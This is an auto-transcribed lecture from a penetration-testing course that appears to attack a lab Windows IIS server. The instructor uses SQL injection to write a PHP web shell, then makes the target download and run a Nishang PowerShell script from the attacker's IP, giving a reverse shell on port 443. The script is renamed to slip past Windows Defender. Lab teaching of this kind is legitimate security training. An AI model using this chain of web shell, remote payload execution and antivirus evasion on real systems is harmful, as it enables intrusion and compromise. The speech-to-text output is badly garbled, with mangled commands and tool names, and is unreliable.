and this one will because it's so common, it's easier to detect this one or two is less common.
And so we can actually use this syntax to try to write some arbitrary commands to the Web server.
Copy that.
Let's go back to Europe and see how we can craft this query.
This is how I like to do it, I like to paste it into the bottom where it's going to simplify this query
by getting rid of everything inside here, I just putting a one.
Let's just make sure it still works.
Right, it's not working because of this, let's get rid of this right here.
Right.
It works, right?
You see that one there they put through.
Controlled space, so that's our insertion point.
So why do we want to put there?
Well, it's a select anti dump file and a file path, right.
And what do we want to write?
So first, let's grab this right here, Control X..
This comes at the end of the query, so we'll put it right between the 6th and the end of the query
right here.
And his output file path, it's probably going to be something a see drive the go here, we can see
this is the path, right?
So just copy that.
Let's go back here and put this in.
He what his name it, BHP and Rio, that BHP
last name is something kind of discreet update that BHP right.
And then we have a select in this well, what are we dumping into this pile and what we put here?
Right.
So let's go ahead and put some BHP code to put in BHP and Rio, see if that works.
Control space.
And it says, I got a general error.
If I try to send it again.
Now it says.
At the file already exists, so it's probably their control of one.
And info.
What do we name it?
We need to update.
Yes, so this is really good and we can actually see that this is it saying it's Windows Server 2016.
So we've got more information here.
And since we are able to write arbitrate files to the Web server and then we can access those files,
we can upload a Web show.
So it's convertors harmless, potentially harmless query into a Web show.
Now, I'm going to send this to system.
I'm going to name it like so, and since these are single ticks, neither single text would make it
a conflict.
So let's change these to double quotes.
On the outside.
And probably the cheapest file name, so let's say update's.
And control space.
Changes to updates.
That's good to see that what we're doing is we're passing this parameter.
And we're going to say, who am I going to put in a command?
And it works.
So the way this works is we're actually using this request function.
So if got a P dot net.
You can see what this does.
It's a request of variables, it's an array that stores get post and cookie requests, so here you put
it in a get request with this variable sequel's, which was defined here.
So the value of C is who am I?
And remains a Windows command.
And that's being passed to system.
So it's going to be executed.
On the system, on the local system and the results to be reflected in the HTP response, and that's
why we see this right here.
For example, I can do I can pick right in the configuration of the system.
I can see the IP.
Where is it?
Here it is right here.
If we do control you, you'll see it's nicely formatted, right.
So now let's turn this into a proper show.
And first, I want to make sure that our show is actually on here because I don't make my life easier.
And it is because it's power show command worked.
If I type power show three ls in error message.
Right.
What we just get nothing.
But when I remove one of the else, you can see we get what we want so we no power show.
We can pass arbitrary commands to power.
Shell on the victim, just turn on berp.
And let's grab this.
In the history.
Control or control shift are.
And we'll need this Web site.
My name is noshing.
That's the that's the name of our show we're going to use, and I want to change it from a get request
method to a post so that I don't run into any character encoding issues.
And it's a lot easier to read this way until space.
There we go.
What are we going to do here?
Let's start mashing.
So locate mashing.
If you don't have the change, you can just see the app install Dasheng.
So and you can see what we actually want is this invoke power, shall TCBY, it's going to grab this
pseudo copy control TV, copy that to the current folder then.
And that's the only one said no.
And what we need to do is go down here and we're going to use this template on this line so we can update
the IP address and port to connect back to.
So this is going to be the IP address and port that the vector machine is going to connect back to on
our target machine.
So this is our local attack, our IP in the local attack report.
OK.
So I'm going to press.
Y why to yank capital G, to go to the bottom, I insert mode, enter and then escape.
Capably and I delivered the word I was going to put in our IP address, let's see, do we really do
we delete what are we control, 80 percent percent IPA 10 zero.
We are 10, 10, 14, 10.
Ten, ten, 14, ten, and is part four for three, because that's usually allowed on firewall's escape
easy.
OK, now what we can do is we can set the Web server on our local box, importante, and then we can
set up a local cat listener on point four for three to catch all our show.
So let me explain what's going to happen in a second.
Let me first create the command so we're going to say power shall invoke expression invoked by request
EDP 10, 10, 14, 10, invoke power shall.
TCP IP is one use basic parsing.
I believe that's it.
Let's explain what's happening here.
So.
This is our talking machine, we're hosting this show, which were just modified, right?
This is telling the voting machine to make a get request to the attack machine and download this Parishad
script.
And executed.
That's what the folk expression means, evocative memory when it tries to execute a script.
The script contains code to establish Reverso from the victim to the attackers PT. one four four three.
So we should get a shell in this box here.
It's going to hit send.
And we see the download right here, but no show.
So we probably have like 80 or something on that on that the victim, that's nothing with us.
Windows Defender has been getting a lot better these days.
So I have to do some things that's gotten my name invoked.
Power shall perhaps the local evening is just doing basic static string analysis.
So escape and we can just obfuscate the string and get past the avy, see if we can do Pseudo said.
I am going to substitute everywhere we see our Shall Tsipi going to replace it with full Jeanine's global
capital, Emin's case insensitive.
That's how I was able to invoke power.
Shall TCBY in lower case in the file I want to do this substitution on is invoked as power shall tcp
ip as one.
The dashi just means do it in place.
You mean substitute the string.
With this string.
Right here and then, right, the new movie Substitutive file back into the original here right now,
if I do, let's see Cat invoke GRAP and I to look for food.
You'll see.
These lines have been updated, right?
That's the last line in the file, so I think if we do that and it shows the, you know, the line numbers
to one point seven to last line, and so this has been updated to now let's try it.
We are still listening on board any and we're still waiting for the shelling for four three, control
the space, taking a little bit longer time.
And bam, we've got to show where my eyes are.
All right, so we've got this shell and we can see who else is on the box, looks like this administrator
and there's a guest, there's there's Hector.
And so in the next lecture, we're actually going to do a horizontal escalation from this particular
user user, which appears to be a service.
This is probably this is actually the service account that's running the IRS Web application.
And we'll investigate this again once we pop the box.
We'll take a look at the services in the way it's set up.
But next lecture, we're going to do horizontal escalation into Hektor and then the next lecture that
will move into a true system compromised.
When we move, we get system system access to the endpoint.
Right.
I'll see in the next lecture.